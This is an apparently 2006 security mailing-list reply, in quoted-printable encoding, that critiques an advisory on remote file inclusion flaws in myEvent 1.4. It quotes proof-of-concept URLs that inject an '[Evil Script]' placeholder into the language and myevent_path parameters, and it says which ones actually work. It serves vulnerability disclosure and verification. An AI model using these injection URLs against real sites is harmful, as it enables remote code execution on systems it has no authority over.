Re: myEvent <= 1.4 Multiple Remote File Include Vulnerabilities

[Carsten Eilers]

sh3ll@sh3ll.ir schrieb am Sat, 12 Aug 2006 10:03:15 +0000:


>-------------admin.php--------------------------------------
>
>....
>
><=3Fphp
>
> include=5Fonce($language);
>
> =3F>
>
>...

Take a look at config.php:

$language =3D "lang=5Feng.php";

an at admin.php:

<=3F
include "config.php";
include=5Fonce('includes/template.php');
include=5Fonce($language);
$template =3D new Template('templates/') ;


Ups... :-)

>-------------event.php--------------------------------------

This one works. BTDT.

>-------------initialize.php-----------------------------------

This one works, too.

>-------------myevent.php------------------------------------

Have you even tried to run this script=3F

|=A0Parse error: parse error in XXXXXX/myevent/myevent.php on line 4

Missing ; in line 3:

| $myevent=5Fpath =3D""

Oh oh...

>-------------viewevent.php-----------------------------------

This one works, too.

>PoC:
>
>~~~
>
>http://www.target.com/[myEvent]/admin.php=3Flanguage=3D[Evil Script]
>
>http://www.target.com/[myEvent]/event.php=3Fmyevent=5Fpath=3D[Evil Script]
>
>http://www.target.com/[myEvent]/initialize.php=3Fmyevent=5Fpath=3D[Evil =
Script]
>
>http://www.target.com/[myEvent]/myevent.php=3Fmyevent=5Fpath=3D[Evil =
Script]
>
>http://www.target.com/[myEvent]/viewevent.php=3Fmyevent=5Fpath=3D[Evil =
Script]

Did you test all of them=3F That way=3F
I don't think so.

Regards
Carsten


--
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>